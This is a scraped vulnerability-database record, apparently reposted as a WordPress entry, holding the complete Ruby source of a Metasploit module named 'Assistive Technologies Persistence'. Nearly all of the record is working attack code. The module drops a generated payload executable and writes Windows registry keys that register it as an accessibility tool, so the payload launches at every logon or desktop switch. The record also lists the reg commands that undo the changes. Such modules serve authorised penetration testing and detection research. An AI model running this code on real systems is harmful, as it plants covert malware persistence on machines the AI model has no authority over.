{“lastseen”:”2025-12-20T19:04:52″,”description”:”This module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT executable during user logon or desktop switch such as with an admin prived program. Requires…”,”published”:”2025-12-20T18:55:17″,”modified”:”2025-12-20T18:55:17″,”type”:”metasploit”,”title”:”Assistive Technologies Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-PERSISTENCE-ASSISTIVE_TECHNOLOGY-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Post::Windows::Registry\\n include Msf::Post::Windows::Priv\\n\\n AT_REG_PATH = ‘HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility\\\\\\\\ATs’\\n STARUP_REG_PATH = ‘HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Accessibility’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Assistive Technologies Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.\\n Then it configures the system to launch the AT executable during user logon or desktop switch (such as with\\n an admin prived program).\\n Requires Windows 8 or higher and administrative privileges.\\n },\\n ‘Author’ =\\u003e [‘h00die’],\\n ‘Platform’ =\\u003e [‘win’],\\n ‘Arch’ =\\u003e [ARCH_X64, ARCH_X86, ARCH_AARCH64],\\n\\n ‘SessionTypes’ =\\u003e [‘meterpreter’, ‘shell’],\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],\\n [‘URL’, ‘https:\/\/www.hexacorn.com\/blog\/2016\/07\/22\/beyond-good-ol-run-key-part-42\/’],\\n [‘URL’, ‘https:\/\/msdn.microsoft.com\/ru-ru\/library\/windows\/desktop\/bb879984.aspx’]\\n ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2016-07-22’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n OptString.new(‘NAME’, [false, ‘Name of assistive technolog to create. Random string as default.’]),\\n OptString.new(‘DESCRIPTION’, [false, ‘Description of assistive technolog to create. Random string as default.’]),\\n ])\\n end\\n\\n def create_at(at_name, payload_path)\\n target_key = \\”#{AT_REG_PATH}\\\\\\\\#{at_name}\\”\\n at_description = datastore[‘DESCRIPTION’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n\\n registry_createkey(target_key)\\n registry_setvaldata(target_key, ‘ApplicationName’, ‘@%SystemRoot%\\\\\\\\system32\\\\\\\\AccessibilityCPL.dll,-85’, ‘REG_EXPAND_SZ’)\\n registry_setvaldata(target_key, ‘ATExe’, payload_path.split(‘\\\\\\\\’).last, ‘REG_SZ’)\\n registry_setvaldata(target_key, ‘CopySettingsToLockedDesktop’, 1, ‘REG_DWORD’)\\n registry_setvaldata(target_key, ‘Description’, at_description, ‘REG_SZ’)\\n registry_setvaldata(target_key, ‘Profile’, ‘\\u003cHCIModel\\u003e\\u003cAccommodation type=\\”mild dexterity\\”\\u003c\/HCIModel\\u003e’, ‘REG_SZ’) # https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/winauto\/ease-of-access—assistive-technology-registration?redirectedfrom=MSDN#hci-profile\\n registry_setvaldata(target_key, ‘SimpleProfile’, at_name, ‘REG_SZ’)\\n registry_setvaldata(target_key, ‘StartExe’, payload_path, ‘REG_EXPAND_SZ’)\\n registry_setvaldata(target_key, ‘TerminateOnDesktopSwitch’, 0, ‘REG_DWORD’)\\n end\\n\\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n\\n d\\n end\\n\\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n\\n version = get_version_info\\n return CheckCode::Safe(‘Only supported on Windows 8 and above’) unless version.build_number \\u003e= Msf::WindowsVersion::Win8\\n\\n return CheckCode::Safe(‘You have admin rights to run this Module’) unless is_admin?\\n\\n CheckCode::Appears(‘Likely exploitable’)\\n end\\n\\n def install_persistence\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n temp_path = writable_dir\\n payload_exe = generate_payload_exe\\n payload_pathname = temp_path + ‘\\\\\\\\’ + payload_name\\n payload_pathname += ‘.exe’ unless payload_pathname.downcase.end_with?(‘.exe’)\\n\\n vprint_status(\\”Payload pathname: #{payload_pathname}\\”)\\n fail_with(Failure::UnexpectedReply, \\”Error writing payload to: #{payload_pathname}\\”) unless write_file(payload_pathname, payload_exe)\\n at_name = datastore[‘NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n vprint_status(\\”Creating Assistive Technology #{at_name} registry entries\\”)\\n create_at(at_name, payload_pathname)\\n vprint_status(‘Setting AT to start during login’)\\n current_value = registry_getvaldata(STARUP_REG_PATH, ‘Configuration’)\\n new_value = current_value.empty? ? [] : current_value.split(‘,’).map(\\u0026:strip)\\n new_value.append(at_name)\\n registry_setvaldata(STARUP_REG_PATH, ‘Configuration’, new_value.join(‘,’), ‘REG_SZ’)\\n\\n print_good(‘New AT added. Will launch on logon or desktop switch (such as with an admin prived program).’)\\n @clean_up_rc \\u003c\\u003c \\”rm \\\\\\”#{payload_pathname.gsub(‘\\\\\\\\’, ‘\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\’)}\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a ‘\/c reg delete \\\\\\”#{AT_REG_PATH}\\\\\\\\#{at_name}\\\\\\” \/f’ -H\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a ‘\/c reg add \\\\\\”#{STARUP_REG_PATH}\\\\\\” \/v Configuration \/t REG_SZ \/d \\\\\\”#{current_value}\\\\\\” \/f’ -H\\\\n\\”\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/assistive_technology.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/assistive_technology\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-20T19:04:52″,”description”:”This module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT executable…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-32362","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n